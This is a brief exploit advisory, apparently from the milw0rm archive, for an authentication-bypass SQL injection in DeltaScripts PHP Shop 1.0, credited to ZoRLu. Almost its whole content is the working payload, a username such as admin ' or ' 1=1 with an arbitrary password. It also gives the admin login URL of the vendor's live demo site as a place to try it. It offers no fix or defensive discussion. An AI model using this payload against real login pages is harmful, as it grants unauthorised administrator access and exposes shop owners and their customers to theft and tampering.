DeltaScripts PHP Shop 1.0 (Auth Bypass) SQL Injection Vulnerability

DeltaScripts PHP Shop 1.0 (Auth Bypass) SQL Injection Vulnerability

link: http://www.milw0rm.com/exploits/7025

Discovered By: ZoRLu

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://demo.deltascripts.com/phpshop/admin/login.php


example for demo:

admin: admin ' or ' 1=1

passwd: ZoRLu